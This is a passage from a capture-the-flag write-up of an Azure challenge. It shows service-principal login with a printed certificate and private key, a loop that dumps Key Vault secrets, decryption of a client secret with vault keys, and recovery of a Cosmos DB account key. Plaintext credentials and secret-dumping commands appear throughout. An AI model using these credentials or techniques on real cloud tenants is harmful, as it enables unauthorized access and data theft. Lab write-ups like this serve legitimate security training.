hZI5Zmr9hDGw+/vC14N9+ckn6OZIJzJyFMQf7RBUu8Z6ZkpzLcPLT6VzvUIGYCkHgB2UdOdg7Xd6pKNMacrQXQ6kc8NP1AxCkdORyJlPiPEGUiM4o3uOmYZml+08dnP0pllVQ2ucv9Yp0JOtE5nInYkC7noaUCq8XGh6UcxMSH929zsoEIzMzCYm+VASLtfV3h1cXSgjMQzamSWaiVE+D9HRXiyKH4PBOn5QTduaYS2mT9KgyiuZnB5LJqXc0uRhHxgXcOErVFiAEC/peZEbEovhx9RIGiuwGOl2ph6edLuj9qEeEwk45rxmz7/bAiNZZ+8oLzfDzHX/Og42ze+AjwG2MDswHzAHBgUrDgMCGgQUhh30z0oNs5zbIY4HmUZKdxHiDs8EFJNFGi8iuU+KL0KF85FFk6UZA5rdAgIH0A==" | base64 -d > cert.pfx

Next up is converting it to a default pem file and removing the password

# Convert pfx to pem
openssl pkcs12 -in cert.pfx -out certificate.pem -clcerts
# Remove private key password
openssl rsa -in certificate.pem -out az.pem
# Last but not least add the certificate part from certificate.pem to az.pem

Logging in

-----BEGIN CERTIFICATE-----
MIIDJDCCAgygAwIBAgIQetr8QEOeR5aj/NFdUmslAjANBgkqhkiG9w0BAQsFADAP
MQ0wCwYDVQQDEwREQVJUMB4XDTIzMDMxNTE0MjU1MFoXDTI0MDMxNTE0MzU1MFow
DzENMAsGA1UEAxMEREFSVDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMxG/RdwPZbNYaFvMce64XasEZw0P8Oq/WGA/7JscrOrlmxxrtN6OuECOdwl+bfJ
KtV4/YSyhLsP18t9RtQp8cqZEdphpyigwCdPyr4Vj9fSUhQDaXM2oc+qAhfi3Ups
R3pqzpKRaW2LFKhhJaTsmlMmAkXdYe2S1aCfVd2NgBGzNK9jzRH4ucPT6jTL1V9r
lsQOkNSiexN17zkWrpG2q2HtwkFWd1D58pNS5T9+Hf7WT2Rf2al9lwCNTNdWEvvw
rIdw2RYLgRLunG7wsttLJyGA0sviBIChKnh5sAzSot5QQyGxNVaQXkB1Xh1l8gDp
FUJENSWK08kWFEbPUV/Mo80CAwEAAaN8MHowDgYDVR0PAQH/BAQDAgWgMAkGA1Ud
EwQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMB8GA1UdIwQYMBaA
FDdY12MzGpbZtOZnxjIvNt+67M7wMB0GA1UdDgQWBBQ3WNdjMxqW2bTmZ8YyLzbf
uuzO8DANBgkqhkiG9w0BAQsFAAOCAQEAn9T1/7oslWS+pKzH4w9cBAZF0Id5+p4m
QxB/8tgVakx6G8LcuI3YhuIRVMJiuGtnnP7GR2ozDas49FsoDylWDqM/mfJ10cAJ
7HtvN8nR/EbvDHWYqCwJI+O0N0kzpr52LbOevf/hMxTSCZ6D7UgTHxDmSf3xc14R
RuvZvcvDDuNjO+k5EyOZX2NPUd6KaicvNH2T+m87M4InesBd+Lv+n3gfuNpThdEs
TKi9fW/8UTTnZyZx/CHEOqAUQ160VbJNh/qd0lw8BcL0ep62ErCyl0Y/k0itFVZm
7Ooq9xAd23CWocXai768otuLo1PB0vGdQVs7TbWTddtJHE9EIa5TJQ==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDMRv0XcD2WzWGh
bzHHuuF2rBGcND/Dqv1hgP+ybHKzq5Zsca7TejrhAjncJfm3ySrVeP2EsoS7D9fL
fUbUKfHKmRHaYacooMAnT8q+FY/X0lIUA2lzNqHPqgIX4t1KbEd6as6SkWltixSo
YSWk7JpTJgJF3WHtktWgn1XdjYARszSvY80R+LnD0+o0y9Vfa5bEDpDUonsTde85
Fq6Rtqth7cJBVndQ+fKTUuU/fh3+1k9kX9mpfZcAjUzXVhL78KyHcNkWC4ES7pxu
8LLbSychgNLL4gSAoSp4ebAM0qLeUEMhsTVWkF5AdV4dZfIA6RVCRDUlitPJFhRG
z1FfzKPNAgMBAAECggEATIGVzo5x8qXPF+gOS9CZGpoNKmSDMSQ8K6VlnoxxVQtB
ljHpmTihDp6HzwTGBugny7W5tVYq0eh4GLU9rr5a2VcE0bZbJaM29EI1G4X1zo3t
waMZflYKujzg9dM4r+PnzVhtL4WYZ7d8MCfaMm+OyO9mUIY+Y/znV3X1cbnKKlY5
RKGAosvFWDDsJa/PWGFxQTqAiMUJm9DJLrZSeVk5Jde9NOGTCnOK9pwk80IudBhp
Z+s7PC+4rIuJarWnvkIkbwdSr6rNApWWg/2bBoiy8M6q778Rtz4VGUCZ+a+zU61h
Pfc5oxVPzZ8dk+e+VwV+eA+UcPUvt9L3gjSd4X/ofQKBgQDbGYCGL9zOgG8F+DfY
iSxiB/srne0kHXgbwEa6vziNkgUJn6UnFF2Nida+XP6gOk59k3US90KVzuPpPHV1
en7jq4ofzY2f16nlhNp5+eD0n7qxIo7PC8RAYR5KCEaO34go0zsFs801+e/Agg/s
bvuwXCVxuSNnPkwr17JpTiCWOwKBgQDurmvPmCBG9nCpzWrfeZcvcz8xUo95uZvx
M8BORemHLGw693WX06jyps6qs/10i3sXCQ3e852RZNlbMivx9PINxF0a8A1bFuy3
kMENVaXMfNA9m+mHboC7ag7nYDfgxTuiftnmOjw1ACRwXKuYjK7PYbE0CgCkN2fS
ikAAgUCllwKBgQDDuyWROuLka+JDD/s761eGACFHVt9KGzV4fS3ymO95sY/kiAUv
Q0dMMW5xQ3yJQW1rS7cUCWYnlNsQOt2n5JXE6DMNtEEoIa76htPykeOARc2vfvLb
TmS1Ks23T2tRKapm5kVdE8JozO59KPP2wTMB21/sF3vkOMgthpUw9AWyjwKBgQCB
QX3rD0QzidQbcL32xd8k+DF5oW9HiUe1CMSU3vGHnXwDNu28yggNWF5FPXH9wmdn
YyTa320uRsIazAHWZ0MKR5PwOZ3R/Yk2I7MYaJCAO/t90chW6nXWiKoHjSjVlZok
9rNEJbdjMG+LVfQricxFTG9tchlE1ShpcSsV2ulKgwKBgHsQvfK71zA8e1DSylAp
KFeX4uwj4LJPQTPNS4ylN+7aR4hoOenOE8l8UDOqSY9/UL+FE1ZSxI8eQxLf56l+
mNHWWMdJoSHzoy8kGWsDy6A/Kr1wUz2FMOj3JqY02gYCJHS3z6B1Ig8ATbJb/+q9
lyIopoQuN4SZgbgr/pf7VBia
-----END PRIVATE KEY-----
az login --service-principal -u 6de8103e-049a-4f88-9abf-41099a79ca53 -p ./az.pem --tenant 5f487283-b88e-4ade-8035-7bcaac4156b3

Azure: Enumeration

Like before, we're going to find out what we can access.

# Getting an overview about all resources
az resource list
# Listing Keyvaults
az keyvault list
# Listing Secrets that we might be able to access
az keyvault secret list --vault-name CubeSat | jq '.[].name'
# Dump everything that's possible - Got two Entrys!
for i in $(az keyvault secret list --vault-name CubeSat | jq -r '.[].id'); do az keyvault secret show --id $i; done

![](attachments/az_keyvault_1 1.png)

Flag 8 - Found

{
  "attributes": {
    "created": "2023-03-17T09:38:18+00:00",
    "enabled": true,
    "expires": null,
    "notBefore": null,
    "recoverableDays": 90,
    "recoveryLevel": "Recoverable+Purgeable",
    "updated": "2023-03-17T09:38:18+00:00"
  },
  "contentType": null,
  "id": "https://cubesat.vault.azure.net/secrets/Flag8/7b5ab8c0b4794a8692456e65057faa59",
  "kid": null,
  "managed": null,
  "name": "Flag8",
  "tags": null,
  "value": "Flag 8 : DART spacecraft has entered final descent."
}

Flag 9 - More Key Vault Fun

Flag 9 has something to do with the entry we were able to find in keyvault. The name looks like an application ID, so maybe we're able to recover the client secret

{
  "attributes": {
    "created": "2023-03-15T14:34:07+00:00",
    "enabled": true,
    "expires": null,
    "notBefore": null,
    "recoverableDays": 90,
    "recoveryLevel": "Recoverable+Purgeable",
    "updated": "2023-03-15T14:34:07+00:00"
  },
  "contentType": null,
  "id": "https://cubesat.vault.azure.net/secrets/0704d1bc-950f-42c8-b0cd-c0569d111da1/c39172d4934445328f7c75c330df82df",
  "kid": null,
  "managed": null,
  "name": "0704d1bc-950f-42c8-b0cd-c0569d111da1",
  "tags": null,
  "value": "HcnxYfKieTn2XIJ54MCcSINWdSzWbWML06lbdkGei5PaTKrcJeru2fopglY3AM6x1W+rnx/xT7P9TfuUpaTV1MGqeC+NuW/Lh45ftdBUUZA+68Dv3AJQ909UR24eLBRC8r5y9/BGqbLZnQZCq8GGT5S78SQaS+QU1oOz5vMvijLE9j/CbHHSPKk2/Nof+xXOznwIsjwyaihjdXlDDDEE26OB7awkn5wGHJX7/bgCJw9HaqpJC5BDa+kD3gsZGg3Y8+7dKeow+D0tZHpk4IFBEsPg68BgYgugn/LDgZr8fifugjw+rpErqm4mDjQikYO1qwFowj0uUH4KSqYqZ+4+DQ=="
}

Decryption Using Encryption Keys

Since the entry I found is encrypted, I checked if I have access to any keys and sure I do. About keys - Azure Key Vault | Microsoft Learn

Decrypt Secret

There's an easy way to do that using the az cli utility. az keyvault key decrypt | Microsoft Learn

az keyvault key decrypt --algorithm RSA1_5 --name LICIACube --vault-name CubeSat --data-type base64 --value "HcnxYfKieTn2XIJ54MCcSINWdSzWbWML06lbdkGei5PaTKrcJeru2fopglY3AM6x1W+rnx/xT7P9TfuUpaTV1MGqeC+NuW/Lh45ftdBUUZA+68Dv3AJQ909UR24eLBRC8r5y9/BGqbLZnQZCq8GGT5S78SQaS+QU1oOz5vMvijLE9j/CbHHSPKk2/Nof+xXOznwIsjwyaihjdXlDDDEE26OB7awkn5wGHJX7/bgCJw9HaqpJC5BDa+kD3gsZGg3Y8+7dKeow+D0tZHpk4IFBEsPg68BgYgugn/LDgZr8fifugjw+rpErqm4mDjQikYO1qwFowj0uUH4KSqYqZ+4+DQ=="
{
  "algorithm": "RSA1_5",
  "kid": "https://cubesat.vault.azure.net/keys/LICIACube/9d0a48dff86d47559001a1387a9cd927",
  "result": "cWowOFF+SWVYcG9QRk5QTFppQ0s1cHNwZjVmY0JNcWJxWHkwRGJuOQ=="
}

Loot

client id: 0704d1bc-950f-42c8-b0cd-c0569d111da1
client secret: qj08Q~IeXpoPFNPLZiCK5pspf5fcBMqbqXy0Dbn9

Login as New Service Principal

az login --service-principal -u "0704d1bc-950f-42c8-b0cd-c0569d111da1" -p "qj08Q~IeXpoPFNPLZiCK5pspf5fcBMqbqXy0Dbn9" --tenant "5f487283-b88e-4ade-8035-7bcaac4156b3"

More Enumeration

# List of resources we have access to
az resource list
# Dumping the secrets
for i in $(az keyvault secret list --vault-name CubeSat | jq -r '.[].id'); do az keyvault secret show --id $i; done
{
  "attributes": {
    "created": "2023-03-17T09:42:41+00:00",
    "enabled": true,
    "expires": null,
    "notBefore": null,
    "recoverableDays": 90,
    "recoveryLevel": "Recoverable+Purgeable",
    "updated": "2023-03-17T09:42:41+00:00"
  },
  "contentType": null,
  "id": "https://cubesat.vault.azure.net/secrets/Flag9/a58859d6a0b74736b167009cfb36b6f9",
  "kid": null,
  "managed": null,
  "name": "Flag9",
  "tags": null,
  "value": "Flag 9 : Prepare for impact!"
}

And there's access to Flag 9 ;)

Final Flag - CosmoDB

As seen before we have access to a DocumentDB resource which is the name for a cosmos db

Unfortunately, we're unable to perform any kind of action on that resource except listing its configuration

# List everything
az cosmosdb show --name outermainbelt --resource-group DARTMission
# Just get the document endpoint
az cosmosdb show --name outermainbelt --resource-group DARTMission | jq '.documentEndpoint'
https://outermainbelt.documents.azure.com:443/

If we try to access the document endpoint, we're shown an error message

{"code":"Unauthorized","message":"Required Header authorization is missing. Ensure a valid Authorization token is passed.\r\nActivityId: 198c1e6e-d9c4-44ee-87ed-a1b2d858386c, Microsoft.Azure.Documents.Common/2.14.0"}

So maybe we can use the "Ascenion" entry, which we were able to find using our new credentials

{
  "attributes": {
    "created": "2023-03-15T14:33:32+00:00",
    "enabled": true,
    "expires": null,
    "notBefore": null,
    "recoverableDays": 90,
    "recoveryLevel": "Recoverable+Purgeable",
    "updated": "2023-03-15T14:33:32+00:00"
  },
  "contentType": null,
  "id": "https://cubesat.vault.azure.net/secrets/Ascension/4a75a5bea77e41efaa66f3f259826565",
  "kid": null,
  "managed": null,
  "name": "Ascension",
  "tags": null,
  "value": "aJa+nuiOLWO0yQJk/2zxmYlCDR6y3POHUTuX84FF5Sx/EsHvvMmKMnN8zbLMCtXAodhAnpXHk6bG0zl744vwb9wk7/KwG18NJL/VqaX2/BP3iLkSg7X/uyGBqH+Ptsr0YoF5RBfRUE2QrWdfqGS5Q5n9YAI6mv2m93Zz8sLntRQe07R8NuGB8w5yHuVSREOiw/Lbagk4jk6QmUiH172HzYyC+Udh83JPHX2kiTo/usO/tHSuSRNAhnvqHeViANFONCK4TA9diWAgKmox2pn3P5SuiviIxtoIN+4V8cP1gW72KkG4/OhyqBYZbpxnP9stCensRnhWi3fb1AVOwEluJQ=="
}

Decrypting should be straight forward, like we did during Flag 9.

az keyvault key decrypt --algorithm RSA1_5 --name LICIACube --vault-name CubeSat --data-type base64 --value "aJa+nuiOLWO0yQJk/2zxmYlCDR6y3POHUTuX84FF5Sx/EsHvvMmKMnN8zbLMCtXAodhAnpXHk6bG0zl744vwb9wk7/KwG18NJL/VqaX2/BP3iLkSg7X/uyGBqH+Ptsr0YoF5RBfRUE2QrWdfqGS5Q5n9YAI6mv2m93Zz8sLntRQe07R8NuGB8w5yHuVSREOiw/Lbagk4jk6QmUiH172HzYyC+Udh83JPHX2kiTo/usO/tHSuSRNAhnvqHeViANFONCK4TA9diWAgKmox2pn3P5SuiviIxtoIN+4V8cP1gW72KkG4/OhyqBYZbpxnP9stCensRnhWi3fb1AVOwEluJQ=="

It failed due to "BadParameter".

Maybe like with Storage Blobs, there's some kind of history that could help us?

# List version of keys
az keyvault key list-versions --name LICIACube --vault-name CubeSat

So let's try to decrypt the secret again using another version

az keyvault key decrypt --algorithm RSA1_5 --id https://cubesat.vault.azure.net/keys/LICIACube/2482e07e3dda4792af854ce1e7eebc02 --data-type base64 --value "aJa+nuiOLWO0yQJk/2zxmYlCDR6y3POHUTuX84FF5Sx/EsHvvMmKMnN8zbLMCtXAodhAnpXHk6bG0zl744vwb9wk7/KwG18NJL/VqaX2/BP3iL
kSg7X/uyGBqH+Ptsr0YoF5RBfRUE2QrWdfqGS5Q5n9YAI6mv2m93Zz8sLntRQe07R8NuGB8w5yHuVSREOiw/Lbagk4jk6QmUiH172HzYyC+Udh83JPHX2kiTo/usO/tHSuSRNAhnvqHeViANFONCK4TA9diWAgKmox2pn3P5SuiviIxtoIN+4V8cP1gW72KkG4/OhyqBYZbpxnP9stCensRnhWi3fb1AVOwEluJQ=="
{
  "algorithm": "RSA1_5",
  "kid": "https://cubesat.vault.azure.net/keys/LICIACube/2482e07e3dda4792af854ce1e7eebc02",
  "result": "UnhhVUNrWFJabU9nb0kyNWhqQlg3V2RPbjZ3RVZVeWhGN2FFcWZzVDNpZHNOWThtSURST1pvQ3I1azNMTU56d2s1cmhyZm5mdXZrVkFDRGJUeUVnWWc9PQ=="
}

If you're lazy like me, just decode base 64 result in one go.

az keyvault key decrypt --algorithm RSA1_5 --id https://cubesat.vault.azure.net/keys/LICIACube/2482e07e3dda4792af854ce1e7eebc02 --data-type base64 --value "aJa+nuiOLWO0yQJk/2zxmYlCDR6y3POHUTuX84FF5Sx/EsHvvMmKMnN8zbLMCtXAodhAnpXHk6bG0zl744vwb9wk7/KwG18NJL/VqaX2/BP3iLkSg7X/uyGBqH+Ptsr0YoF5RBfRUE2QrWdfqGS5Q5n9YAI6mv2m93Zz8sLntRQe07R8NuGB8w5yHuVSREOiw/Lbagk4jk6QmUiH172HzYyC+Udh83JPHX2kiTo/usO/tHSuSRNAhnvqHeViANFONCK4TA9diWAgKmox2pn3P5SuiviIxtoIN+4V8cP1gW72KkG4/OhyqBYZbpxnP9stCensRnhWi3fb1AVOwEluJQ==" | jq -r '.result' | base64 -d

Cosmos DB: Access

Using that string, we're maybe able to access cosmos db by crafting a connection string

# Connection String
jdbc:cosmosdb:AccountEndpoint=https://outermainbelt-eastus.documents.azure.com:443;AccountKey=RxaUCkXRZmOgoI25hjBX7WdOn6wEVUyhF7aEqfsT3idsNY8mIDROZoCr5k3LMNzwk5rhrfnfuvkVACDbTyEgYg==;

First, let's visit https://cosmos.azure.com/ where we can connect to a cosmos db using a connection string.

After signing in, we can explore the NOSQL API and look for items that are maybe of interest for us. Sure enough we will find the last flag

Last updated